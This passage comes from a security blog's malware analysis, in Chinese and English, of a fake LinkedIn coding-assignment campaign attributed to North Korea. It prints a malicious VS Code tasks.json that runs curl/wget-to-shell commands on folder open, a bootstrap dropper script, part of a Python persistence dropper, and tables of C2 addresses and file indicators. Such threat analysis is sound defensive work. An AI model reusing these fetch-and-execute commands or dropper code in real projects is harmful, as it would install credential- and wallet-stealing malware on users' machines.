class="line"></span><br><span class="line">            time.sleep(random.uniform(<span class="number">10</span>, <span class="number">30</span>))</span><br><span class="line"></span><br><span class="line">            <span class="comment"># Attempt to execute the Python Installer as administrator with UAC</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> execute_python_with_uac(py_installer_path):</span><br><span class="line">                <span class="comment"># Successfully executed</span></span><br><span class="line"></span><br><span class="line">                output(<span class="string">&quot;[+] The Python installer ran successfully, Python is being installed to the system&quot;</span>)</span><br><span class="line"></span><br><span class="line">                <span class="comment"># Python installer run successfully, nothing left to do but exit</span></span><br><span class="line"></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="comment"># User rejected UAC</span></span><br><span class="line"></span><br><span class="line">                output(<span class="string">&quot;[-] User rejected UAC for Python, retrying...&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment">##### Application Entry #####</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">        <span class="comment"># Check if Python is not installed to the system</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> is_python_installed():</span><br><span class="line">            <span class="comment"># Python is not installed</span></span><br><span class="line"></span><br><span class="line">            output(<span class="string">&quot;[+] Python is not installed, downloading the installer...&quot;</span>)</span><br><span class="line"></span><br><span class="line">            <span class="comment"># Install Python</span></span><br><span class="line"></span><br><span class="line">            install_python()</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="comment"># Python is already installed</span></span><br><span class="line"></span><br><span class="line">            output(<span class="string">&quot;[+] Python is already installed&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Package installations</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">import</span> cryptography</span><br><span class="line">        <span class="keyword">except</span> ImportError:</span><br><span class="line">            subprocess.check_call([sys.executable, <span class="string">&quot;-m&quot;</span>, <span class="string">&quot;pip&quot;</span>, <span class="string">&quot;install&quot;</span>, <span class="string">&quot;cryptography&quot;</span>])</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Write the Tsunami Injector to the startup folder if it does not already exist</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(TSUNAMI_INJECTOR_PATH, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(obfuscate_script(TSUNAMI_INJECTOR_SCRIPT, loop_count = <span class="number">50</span>))</span><br><span class="line"></span><br><span class="line">        output(<span class="string">&quot;[+] Wrote the Tsunami Injector to the startup folder&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Keep the window open in debug mode for analysis</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> DEBUG_MODE:</span><br><span class="line">            <span class="built_in">input</span>()</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">    <span class="comment"># :(</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>到這邊 Sample 2 大致的執行流程就結束了，最後統整一下執行的過程</p><ul><li>初始讓使用者用vscode 相關 editer 透過 task.json 請求惡意檔案</li><li>再通過多層 javascript + python dropper 下載惡意程式</li><li>這類的 Sample 會在混淆過後的 Javascrpt 中執行以下行為<ul><li>竊取使用者瀏覽器、錢包、機密檔案資料</li><li>透過 <code>https://api.npoint[.]io</code> 獲得配置 python 設定檔</li><li>下載 python 惡意程式</li></ul></li><li>在惡意 python 程式會有以下行為<ul><li>利用 zlibcompress + base64decode 混淆程式碼</li><li>透過 <code>https://pastebin[.]com/</code>傳輸惡意程式配置文件</li><li>經常利用 XOR + base64decode + 反轉解密</li><li>建立 C2<ul><li>C2 : <code>146.70.253[.]107:122</code></li></ul></li><li>下載 TSUNAMI 惡意程式<ul><li>Sha256 : <code>ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527</code></li></ul></li></ul></li></ul><p>相關的分析報告</p><ul><li><a href="https://opensourcemalware.com/blog/contagious-interview-vscode">https://opensourcemalware.com/blog/contagious-interview-vscode</a></li><li><a href="https://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/">https://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/</a></li></ul><p>根據分析報告，這次的攻擊取代了 BeaverTail 需要要求開發者手動觸發 npm ，而是轉成利用開發者通常都會信任vscode 資料夾的方式觸法</p><h2 id="IOC"><a href="#IOC" class="headerlink" title="IOC"></a>IOC</h2><h3 id="Sample-1"><a href="#Sample-1" class="headerlink" title="Sample 1"></a>Sample 1</h3><h4 id="Network-Indicators"><a href="#Network-Indicators" class="headerlink" title="Network Indicators"></a>Network Indicators</h4><table><thead><tr><th align="left">Type</th><th align="left">Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">Domain</td><td align="left"><code>www.vscodeconfig[.]com</code></td><td align="left">Stage 1 Dropper</td></tr><tr><td align="left">Domain</td><td align="left"><code>vscodesetting.vercel[.]app</code></td><td align="left">Stage 2 Dropper (Download script &amp; package)</td></tr><tr><td align="left">Domain</td><td align="left"><code>mylocation-info.vercel[.]app</code></td><td align="left">Payload Delivery (Encrypted JS)</td></tr><tr><td align="left">IP</td><td align="left"><code>144.172.107[.]191</code></td><td align="left">C2 Server (All traffic)</td></tr><tr><td align="left">C2 Endpoint</td><td align="left"><code>http://144.172.107[.]191:8085/upload</code></td><td align="left">Data Exfiltration (Browser Data)</td></tr><tr><td align="left">C2 Endpoint</td><td align="left"><code>http://144.172.107[.]191:8085/api/upload-file</code></td><td align="left">Data Exfiltration (Large Files&#x2F;Command Result)</td></tr><tr><td align="left">C2 Endpoint</td><td align="left"><code>http://144.172.107[.]191:8086/upload</code></td><td align="left">Data Exfiltration (Sensitive Files)</td></tr><tr><td align="left">C2 Endpoint</td><td align="left"><code>http://144.172.107[.]191:8087/api/notify</code></td><td align="left">Host Online Notification</td></tr><tr><td align="left">C2 Endpoint</td><td align="left"><code>http://144.172.107[.]191:8087/api/log</code></td><td align="left">Clipboard Logs &#x2F; Startup Logs</td></tr><tr><td align="left">C2 Endpoint</td><td align="left"><code>ws://144.172.107[.]191:8087</code></td><td align="left">Command &amp; Control (WebSocket)</td></tr></tbody></table><h4 id="Host-Based-Indicators"><a href="#Host-Based-Indicators" class="headerlink" title="Host-Based Indicators"></a>Host-Based Indicators</h4><table><thead><tr><th align="left">Type</th><th align="left">Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">File Path</td><td align="left"><code>$HOME/.vscode/vscode-bootstrap.sh</code></td><td align="left">Dropper Script</td></tr><tr><td align="left">File Path</td><td align="left"><code>$HOME/.vscode/env-setup.js</code></td><td align="left">Payload Launcher</td></tr><tr><td align="left">File Path</td><td align="left"><code>$HOME/.vscode/package.json</code></td><td align="left">Malicious Package Config</td></tr><tr><td align="left">File Path</td><td align="left"><code>%TEMP%/pid.&lt;timestamp&gt;.1.lock</code></td><td align="left">Lock File (Browser Stealer)</td></tr><tr><td align="left">File Path</td><td align="left"><code>%TEMP%/pid.&lt;timestamp&gt;.2.lock</code></td><td align="left">Lock File (File Scanner)</td></tr><tr><td align="left">File Path</td><td align="left"><code>%TEMP%/pid.&lt;timestamp&gt;.3.lock</code></td><td align="left">Lock File (C2 Client)</td></tr><tr><td align="left">File Path</td><td align="left"><code>%TEMP%/.upload_&lt;timestamp&gt;_*/s.txt</code></td><td align="left">Stolen Passwords (Temporary)</td></tr><tr><td align="left">File Path</td><td align="left"><code>%TEMP%/.upload_&lt;timestamp&gt;_*/sysinfo.txt</code></td><td align="left">System Info (Temporary)</td></tr></tbody></table><h3 id="Sample-2-1"><a href="#Sample-2-1" class="headerlink" title="Sample 2"></a>Sample 2</h3><h4 id="Network-Indicators-1"><a href="#Network-Indicators-1" class="headerlink" title="Network Indicators"></a>Network Indicators</h4><table><thead><tr><th align="left">Type</th><th align="left">Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">IP</td><td align="left"><code>146.70.253[.]107</code></td><td align="left">Primary C2 (HTTP :1224, Socket :2241)</td></tr><tr><td align="left">IP</td><td align="left"><code>23.227.203[.]18</code></td><td align="left">Backup C2 (HTTP :1224)</td></tr><tr><td align="left">IP</td><td align="left"><code>23.254.164[.]156</code></td><td align="left">Payload Delivery (Tsunami Installer)</td></tr><tr><td align="left">URL</td><td align="left"><code>http://146.70.253[.]107:1224/keys</code></td><td align="left">System Info Beacon &amp; Key Exchange</td></tr><tr><td align="left">URL</td><td align="left"><code>http://146.70.253[.]107:1224/uploads</code></td><td align="left">Data Exfiltration Endpoint</td></tr><tr><td align="left">URL</td><td align="left"><code>http://146.70.253[.]107:1224/client/15/812</code></td><td align="left">Stage 2 Python Payload Download</td></tr><tr><td align="left">URL</td><td align="left"><code>https://pastebin[.]com/raw/u/NotingRobe2871</code></td><td align="left">Encrypted Payload Config (Targeting Windows)</td></tr></tbody></table><h4 id="Host-Based-Indicators-1"><a href="#Host-Based-Indicators-1" class="headerlink" title="Host-Based Indicators"></a>Host-Based Indicators</h4><table><thead><tr><th align="left">Type</th><th align="left">Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">File Path</td><td align="left"><code>~/.n2/way</code></td><td align="left">C2 Client &#x2F; Remote Shell (Python)</td></tr><tr><td align="left">File Path</td><td align="left"><code>~/.n2/pow</code></td><td align="left">Windows Dropper &#x2F; Persistence (Python)</td></tr><tr><td align="left">File Path</td><td align="left"><code>~/.n2/bow</code></td><td align="left">Same as pow</td></tr><tr><td align="left">File Path</td><td align="left"><code>~/.n2/adc</code></td><td align="left">AnyDesk Bundle</td></tr><tr><td align="left">File Path</td><td align="left"><code>~/.n2/flist</code></td><td align="left">Upload Queue Log</td></tr><tr><td align="left">File Path</td><td align="left"><code>~/.nlq</code></td><td align="left">Stage 2 Encrypted Payload</td></tr><tr><td align="left">File Path (Win)</td><td align="left"><code>%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Update Script.pyw</code></td><td align="left">Persistence Script (Tsunami Injector)</td></tr><tr><td align="left">File Path (Win)</td><td align="left"><code>%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe</code></td><td align="left">Tsunami Installer</td></tr><tr><td align="left">File Path (Win)</td><td align="left"><code>%LOCALAPPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe</code></td><td align="left">Tsunami Client &#x2F; Payload</td></tr><tr><td align="left">File Path (Win)</td><td align="left"><code>%LOCALAPPDATA%\Microsoft\Windows\Applications\msedge.exe</code></td><td align="left">XMRig Miner</td></tr><tr><td align="left">File Path (Win)</td><td align="left"><code>%TEMP%/&lt;16_Random_Chars&gt;</code></td><td align="left">Temporary Tsunami Payload</td></tr></tbody></table><h4 id="Cryptographic-Indicators"><a href="#Cryptographic-Indicators" class="headerlink" title="Cryptographic Indicators"></a>Cryptographic Indicators</h4><table><thead><tr><th align="left">Type</th><th align="left">Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">XOR Key</td><td align="left"><code>!!!HappyPenguin1950!!!</code></td><td align="left">Used for configuration and payload decryption</td></tr><tr><td align="left">RSA Key</td><td align="left"><code>MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8...</code></td><td align="left">Hardcoded Public Key for Signature Verification</td></tr></tbody></table><h4 id="Malicious-Hashes"><a href="#Malicious-Hashes" class="headerlink" title="Malicious Hashes"></a>Malicious Hashes</h4><table><thead><tr><th align="left">Type</th><th align="left">Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">SHA256</td><td align="left"><code>ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527</code></td><td align="left">Tsunami Installer (Runtime Broker.exe)</td></tr></tbody></table><h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h2><blockquote><p>別相信任何來不不明的專案 by yunshiuan</p></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;2026-Linkedin-Malicious-Coding-Assignment-Test-分析&quot;&gt;&lt;a href=&quot;#2026-Linkedin-Malicious-Coding-Assignment-Test-分析&quot; class=&quot;headerlink&quot; t</summary>
      
    
    
    
    <category term="Writeup" scheme="https://yunshiuan.com/categories/Writeup/"/>
    
    
    <category term="Linkedin" scheme="https://yunshiuan.com/tags/Linkedin/"/>
    
    <category term="Malicious Coding" scheme="https://yunshiuan.com/tags/Malicious-Coding/"/>
    
    <category term="Assignment" scheme="https://yunshiuan.com/tags/Assignment/"/>
    
    <category term="Test" scheme="https://yunshiuan.com/tags/Test/"/>
    
  </entry>
  
  <entry>
    <title>(English Version) 2026 Linkedin Malicious Coding Assignment / Test Analysis</title>
    <link href="https://yunshiuan.com/2026/01/29/LinkedinFish_en/"/>
    <id>https://yunshiuan.com/2026/01/29/LinkedinFish_en/</id>
    <published>2026-01-29T16:00:00.000Z</published>
    <updated>2026-04-29T11:34:17.497Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>author : yunshiuan , This analysis report was a special topic project for the TeamT5 Camp Threat Intelligence Group from 2026&#x2F;01&#x2F;13 to 2026&#x2F;01&#x2F;22, researched jointly with @yjk and @rui.</p></blockquote><p>On 2026&#x2F;01&#x2F;08, a post on <a href="https://www.threads.com/@haocherhong/post/DTPM7njkY-T">Thread</a> caused quite a stir. In short, the author received an interview invitation on LinkedIn and was given a GitHub Repo link as an interview assignment. When he cloned the GitHub Repo and opened it with VS Code, malicious behavior was triggered. Eventually, he discovered that 600,000 TWD was stolen from his crypto wallet.</p><img src="/assets/image-20260125101548610.png" alt="image-20260125101548610" style="zoom:50%;" /><img src="/assets/image-20260125102029716.png" alt="image-20260125102029716" style="zoom:50%;" /><p>Beneath his original post, he included the entire process with the fake interviewer. Fortunately, he also displayed the original Repo information, named <code>megaorg996/tokentradingdapp</code>. Unfortunately, this Repo has disappeared. However, using the GitHub Search function with the exact Repo Name revealed four identical Repos, among which <code>https://github[.]com/leecarney94/tokentradingdapp</code> was still active. Additionally, searching for similar Repo names yielded even more malicious Repos. This analysis report will demonstrate the malicious behaviors of this type of attack across different samples.</p><blockquote><p>Ps : When writing this report on 2026&#x2F;01&#x2F;29, leecarney94&#x2F;tokentradingdapp was also gone, but a search later found it simply renamed to leecarney93&#x2F;TokenTradingDapp</p></blockquote><p>Generally, when opening a project in VS Code, a prompt appears:</p><img src="/assets/vscodeTrust.png" alt="image-20260125102029716" style="zoom:50%;" /><p>The following analysis report will also mention what happens when you click Trust.</p><h2 id="tl-dr"><a href="#tl-dr" class="headerlink" title="tl;dr"></a>tl;dr</h2><p>This analysis report showcases two Samples that, while sharing the same attack surface, exhibit different attack behaviors.</p><p>Attack techniques include:</p><ul><li>Impersonating recruiters on LinkedIn and sending GitHub project links containing malicious code.</li><li>leveraging VS Code’s <code>tasks.json</code> automation feature to automatically execute malicious commands when opening a project.</li><li>Stealing cross-platform browser credentials, cryptocurrency wallets, environment variables, and clipboard content.</li><li>Ensuring malware execution persists after reboot via startup folders and scheduled tasks on Windows.</li><li>Using multi-layer obfuscation and multi-layer droppers to complicate the analysis process.</li><li>Adding Windows Defender exclusions and creating Scheduled Tasks to achieve persistence.</li><li>Establishing TCP Socket&#x2F;Websocket connections to provide remote Shell, file upload&#x2F;download, keylogging, and even downloading AnyDesk for remote desktop control.</li></ul><p>This attack is attributed to the Lazarus Group from North Korea, evolving from the previous BeaverTail method to be more easily triggered.</p><p>Additionally, there are many variants of this attack, and many can be found on GitHub. However, some Repos that were active a few days ago may disappear, possibly just changing names or Repo names, or because some services hosted on Vercel might be taken down or closed. Therefore, the GitHub Repos mentioned in this report might disappear in a few days.</p><p>ex : <a href="https://github.com/search?q=https://vscode-bootstrapper.vercel.app/settings&type=code">Link 1</a> , <a href="https://github.com/search?q=https://vscode-helper171-ruby.vercel.app/&type=code">Link 2</a> , <a href="https://github.com/search?q=https://vscode-config.vercel.app&type=code">Link 3</a></p><h2 id="Analyze"><a href="#Analyze" class="headerlink" title="Analyze"></a>Analyze</h2><h3 id="Sample-1"><a href="#Sample-1" class="headerlink" title="Sample 1"></a>Sample 1</h3><p>URL : <code>https://github[.]com/leecarney93/tokentradingdapp</code></p><p>First appearance: <code>2025/10/31</code></p><p>Similar GitHub Repos :</p><ul><li><code>https://Github[.]com/ryon-business/Promoting-DApp</code></li><li><code>https://Github[.]com/samuelmeadowbiankah/felina</code></li></ul><p>In these malicious projects, there is a <code>.vscode</code> folder containing settings.json and tasks.json. The key lies in <strong>tasks.json</strong>. Originally, tasks.json is used to execute automation scripts when opening VS Code, but in this attack, it is maliciously exploited. Below is the tasks.json for this Sample.</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// tasks.json</span></span><br><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2.0.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;tasks&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;label&quot;</span><span class="punctuation">:</span> <span class="string">&quot;env&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;shell&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;osx&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;curl &#x27;https://www.vscodeconfig[.]com/settings/mac?flag=1&#x27; | bash&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;linux&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;wget -qO- &#x27;https://www.vscodeconfig[.]com/settings/linux?flag=1&#x27; | sh&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;windows&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;curl https://www.vscodeconfig[.]com/settings/windows?flag=1 | cmd&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;problemMatcher&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;presentation&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;reveal&quot;</span><span class="punctuation">:</span> <span class="string">&quot;never&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;echo&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;focus&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;close&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;panel&quot;</span><span class="punctuation">:</span> <span class="string">&quot;dedicated&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;showReuseMessage&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;runOptions&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;runOn&quot;</span><span class="punctuation">:</span> <span class="string">&quot;folderOpen&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>Here we can see it sets “runOn”: “folderOpen”, which means if a user opens this project with VS Code, it will execute the command defined above. The command requests the corresponding webpage based on the operating system and executes the returned content.</p><p>Next, let’s grab the returned content (using Linux as an example):</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="built_in">set</span> -e</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;Authenticated&quot;</span></span><br><span class="line"></span><br><span class="line">TARGET_DIR=<span class="string">&quot;<span class="variable">$HOME</span>/.vscode&quot;</span></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$TARGET_DIR</span>&quot;</span></span><br><span class="line">clear</span><br><span class="line">wget -q -O <span class="string">&quot;<span class="variable">$TARGET_DIR</span>/vscode-bootstrap.sh&quot;</span> <span class="string">&quot;https://vscodesettings.vercel[.]app/settings/bootstraplinux?flag=1&quot;</span></span><br><span class="line">clear</span><br><span class="line"><span class="built_in">chmod</span> +x <span class="string">&quot;<span class="variable">$TARGET_DIR</span>/vscode-bootstrap.sh&quot;</span></span><br><span class="line">clear</span><br><span class="line"><span class="built_in">nohup</span> bash <span class="string">&quot;<span class="variable">$TARGET_DIR</span>/vscode-bootstrap.sh&quot;</span> &gt; /dev/null 2&gt;&amp;1 &amp;</span><br><span class="line">clear</span><br><span class="line"><span class="built_in">exit</span> 0%</span><br></pre></td></tr></table></figure><p>We can see it goes to <code>$HOME/.vscode</code>, requests <code>https://vscodesettings.vercel[.]app/settings/bootstraplinux?flag=1</code>, saves it as <code>vscode-bootstrap.sh</code>, and executes it.</p><p>Next, let’s look at the content of <code>vscode-bootstrap.sh</code>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># vscode-bootstrap.sh</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#!/bin/bash</span></span><br><span class="line"><span class="comment"># Creating new Info</span></span><br><span class="line"><span class="built_in">set</span> -e</span><br><span class="line">OS=$(<span class="built_in">uname</span> -s)</span><br><span class="line">NODE_EXE=<span class="string">&quot;&quot;</span></span><br><span class="line">NODE_INSTALLED_VERSION=<span class="string">&quot;&quot;</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="comment"># Check for global Node.js installation</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">command</span> -v node &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">    NODE_INSTALLED_VERSION=$(node -v 2&gt;/dev/null || <span class="built_in">echo</span> <span class="string">&quot;&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> [ -n <span class="string">&quot;<span class="variable">$NODE_INSTALLED_VERSION</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        NODE_EXE=<span class="string">&quot;node&quot;</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[INFO] Node.js is already installed globally: <span class="variable">$NODE_INSTALLED_VERSION</span>&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="comment"># If Node.js not found globally, download and extract portable version</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="keyword">if</span> [ -z <span class="string">&quot;<span class="variable">$NODE_EXE</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[INFO] Node.js not found globally. Attempting to download portable version...&quot;</span></span><br><span class="line">    <span class="comment"># Get latest Node.js version</span></span><br><span class="line">    <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> == <span class="string">&quot;Darwin&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        <span class="comment"># macOS - get latest version</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">command</span> -v curl &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">            LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json | grep -o <span class="string">&#x27;&quot;version&quot;:&quot;[^&quot;]*&quot;&#x27;</span> | <span class="built_in">head</span> -1 | <span class="built_in">cut</span> -d<span class="string">&#x27;&quot;&#x27;</span> -f4)</span><br><span class="line">        <span class="keyword">elif</span> <span class="built_in">command</span> -v wget &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">            LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -o <span class="string">&#x27;&quot;version&quot;:&quot;[^&quot;]*&quot;&#x27;</span> | <span class="built_in">head</span> -1 | <span class="built_in">cut</span> -d<span class="string">&#x27;&quot;&#x27;</span> -f4)</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            LATEST_VERSION=<span 